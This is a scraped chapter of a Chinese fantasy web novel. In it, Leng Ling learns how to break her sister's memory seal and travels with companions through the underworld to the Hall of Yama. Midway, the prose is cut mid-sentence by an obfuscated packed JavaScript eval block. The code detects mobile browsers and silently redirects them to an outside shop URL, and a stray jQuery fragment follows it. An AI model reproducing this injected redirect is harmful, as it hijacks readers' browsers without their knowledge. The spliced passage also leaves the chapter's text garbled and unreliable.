文趣网 > 其他小说 > 逆神第一咸鱼 > 30. 第三十章
    冷灵看着她,忽然笑了一下。

    那个笑容很淡,但眼底的星辉亮了一瞬。

    “她说她一直在日神殿的窗台上放着一缕晨光发绳。她说三千年前她故意弹了一首走调的曲子让我记住。她说她跪下去的那天,手肘在地上磕出了血,但她没哭,因为她知道自己还有一个不跪的妹妹。”

    闻言,云妉的眼眶红了,“冷灵……”

    “她没被掉包。”冷灵说,“她只是被忘情司的法术洗掉了记忆。但她留了后手。她把所有重要的记忆都写进了这卷帛书里,然后沉进了忘川。她知道我会来。她知道只要我找到这卷帛书,她的记忆就不会真正消失。”

    风涧放下古简,问道:“那逆解法呢?帛书里有没有写?”

    冷灵点了点头,“写了。她说忘情司的法术建立在情感剥离的基础上。施术者用外力把目标的情感记忆从表层意识中剥离,封存在意识壁垒后面。要逆解,只需要打破那道壁垒。而打破壁垒的方法……”

    她顿了顿,继续说道:“是需要一个与她同源的星官,用星辉注入她的心脉,从内部烧毁壁垒。”

    “同源?”云妉眨了眨眼,“你是说她需要你?你是她分裂出来的另一部分,所以你是唯一能救她的人?”

    “是。”冷灵点了一下头。

    云妉拍了一下手,“那还等什么?我们直接去日神殿!”

    “还不行。”风涧说,“帛书里有没有写,她在清醒状态下最后一次见到天帝是什么时候?”

    冷灵翻到帛书后半段,缓缓道:“写了。她说天帝每隔十年会来日神殿检查一次她的记忆稳定度。如果在检查之前打破壁垒,天帝会察觉。她建议我在检查前三天再动手,这样她刚恢复记忆就有足够的时间隐藏,等检查结束后再行动。”

    “十天后。”玄溟终于开口了,“从冥界到日神殿需要五天。加上调查和准备,三天。我们现在就出发,时间勉强够。”

    冷灵把黑色绢布贴身收好,晨光发绳重新系回发间。

    她站在忘川岸边,看着灰白色的河水缓缓流过,河面上那些细小的星辉光点还在漂浮。

    有一些是她刚才被河水剥离的,很淡,但还没有熄灭。

    “这卷帛书,她写的时候,一只手在写,另一只手在握着一朵彼岸花。”

    冷灵忽然说道,“她怕自己写不完,所以用彼岸花的汁液混了太阳金粉做墨。彼岸花的花汁会让字迹在忘川水下千年不褪。她连这个都算到了。”

    云妉吸了吸鼻子,“她真聪明。”

    “她一直很聪明。”冷灵说,“只是聪明的人,最容易被人利用她的聪明。”

    玄溟走到她身边,站定。

    他的黑袍被河风吹得微微翻动,铜镜在晨光里反射出一小块金色的暖光。

    冥界的天边终于泛起了类似黎明的东西,虽然不是真正的日出,但足够让人看清脚下的路。

    “走吧。”冷灵转身,率先往彼岸花海的方向走去。

    云妉蹦蹦跳跳地跟在后面,风涧收起古简,玄溟殿后。

    他走了几步,回头看了一眼忘川。河面上那团被她捞起卷轴后留下的空洞已经被河水重新填满,恢复了平整如镜的表面。

    铜镜里忽然闪了一下。玄溟低头看去,镜面上浮现出一行极小的字,像是有人用指甲在镜背刻上去的:

    「告诉她,河边那少年等了她三千年。别让他白等。」

    玄溟愣了一瞬。

    他认得那笔迹,是忘川摆渡人的。

    那个没有五官、只有一双浑浊眼睛的船夫,在每一艘渡船上看了三千年的生离死别。

    他从来不说话,但他在镜背上留了这句话。

    玄溟没有告诉冷灵。

    他把铜镜翻了个面,让那句话沉入镜背的暗纹里。

    然后他跟上了前面人的脚步,走入了渐亮的彼岸花海。

    远处,花海的尽头,卷藏殿的石门正在晨光中缓缓闭合。

    那些刻在石门上的细密文字,在最后一缕月光消失之前,亮了一下,像一声无人听见的叹息。

    从忘川第三渡口到阎罗殿,步行需要两个时辰。

    冷灵本以为冥界的路会像人间那样有起伏、有转折,但这条通往阎罗殿的主道笔直得像被人用尺子画出来的。

    路两侧种着一种她从未见过的树。

    树干漆黑,枝头挂满了半透明的白色叶片,叶片在无风的空气中自己缓缓转动,像无数面微型铜镜在反射着冥界永恒不变的灰白月光。

    云妉走在最前面,铜铃叮叮当当地响,惊起了路边几只冥鸦。

    那些黑色的鸟从枝头扑棱棱飞起,绕着她头顶转了两圈,然后落在风涧的肩膀上。

    风涧低头看了它们一眼,冥鸦们安静地缩了缩脖子,一只只飞走了。

    “你的古简连鸟都怕?”云妉回头看了一眼。

    “不是怕古简。”风涧摇了摇头,解释了一句,“是怕我。”

    “你一个文官,鸟怕你做什么?”云妉白了他一眼,完全不相信他说的话。

    “再说,你一个天界的文官,冥界的鸟会怕你?”

    “我去年抄了三个月卷宗,阁里的老鼠看见我就搬走了。估计消息传到了冥界,鸟类可能也知道了。”风涧缓缓道。

    云妉沉默了半拍,“……老鼠搬家跟你有什么关系?”

    “因为我在阁里读了三个月除鼠术的古籍。”风涧面不改色,“虽然没施法,但老鼠可能感觉到了潜在威胁。”

    冷灵走在风涧后面,听到这段对话时嘴角动了一下。

    玄溟走在她身边,黑袍的衣摆掠过路面的白色叶片,发出细微的沙沙声。

    他一直没有说话,但从第三渡口出来之后,他的步速比平时慢了一些。

    不是疲惫,像是刻意在拖延什么。

    冷灵注意到了。

    她放慢脚步,等云妉和风涧走到前面去了,才侧头看了他一眼,“你在想什么?”

    玄溟沉默了两步,“在想等会儿见到我父亲,他第一句话会是什么。”

    “你上一次见他是什么时候?”冷灵问道。

    “……三千年前。我离开阎罗殿去守忘川的那天。”玄溟答道。

    冷灵的脚步顿了一下。

    三千年

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808617|210759||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前的离开,他守了忘川三千年,期间再也没有踏入阎罗殿一步。

    她忽然意识到一件事,玄溟答应带她去阎罗殿,意味着他打破了自己三千年的誓言。

    “你守忘川的期限到了吗?”冷灵问道。

    “没有。”他说,“还差七十年。”

    “那你现在回去——”

    “我不是为了自己。”他打断了她,“我是为了你。我欠你的。”

    冷灵站在原地,看着他。

    玄溟也停了步,月光从上方落下来,在他黑袍的肩线上勾出一道冷白的轮廓。

    他的脸上没有任何表情,但冷灵注意到他握着铜镜的手指比平时紧了一些。

    “你欠我什么?”她问。

    玄溟没有立刻回答。

    前面的云妉走出了一段距离,发现后面的人没跟上,回头喊了一声:“冷灵?玄溟?你们在赏月吗?冥界没有月亮……”

    “来了。”冷灵应了一声,又看了玄溟一眼。

    他松开了铜镜,继续往前走,像是刚才那段对话没有发生过。

    冷灵跟在他身旁,没有再追问。

    她感觉他像一卷被折叠了太久的帛书,内页的折痕太深,需要时间和耐心才能慢慢展开。

    阎罗殿出现在路的尽头时,冷灵的第一反应是,它比天庭的南天门更让人喘不过气。

    那是一座巨大得超出常理的黑石建筑,正面没有任何窗户,只有两扇高约十丈的铜门,门面上铸满了浮雕。

    浮雕的内容不是神佛,是众生。

    生、老、病、死、爱、憎、离、合,人间三千种苦相被压缩在这两扇门上,每一张面孔都栩栩如生,像是随时会从铜面上走下来。

    云妉站在门前抬头看了一会儿,铜铃都不响了。

    风涧合上古简,安静地站在她身后半步。

    “这两扇门……”云妉的声音比平时低了八度,“上面的人脸在动。”

    “它们本来就会动。”玄溟走上前,将右手按在铜门的门环上。

    “冥界阎罗殿的大门记录着所有进入冥界的亡魂的面孔。每一张脸在这里停留一瞬,然后被下一张脸覆盖。所以你看上去它们在动,其实是三千年来的亡魂在轮流经过。”

    云妉后退了一步:“那我进去的话,我的脸也会被刻上去?”

    “你不算亡魂。”玄溟说,“所以不会。”

    “那就好。”云妉拍了拍胸口,“我还以为这辈子最后一次照镜子是在阎罗殿大门上。”

    风涧瞥了她一眼,“你平时也不怎么照镜子。”

    “我照的!我只是不跟你分享!”云妉立马反驳道。

    冷灵听他们拌嘴,原本紧绷的肩膀悄悄松了一分。

    她走到玄溟身边,看着他按在门环上的手。铜门在他掌下发出沉闷的轰鸣声,向内缓缓开启。

    门后是一片巨大的前厅。

    厅内没有灯,但四壁嵌满了夜明珠,发出幽蓝的光。地面上铺着暗红色的石砖,石砖之间的缝隙里流淌着极细的银线。

    那是冥界的地脉,与忘川河相连,整个阎罗殿的地面就是一座巨型法阵。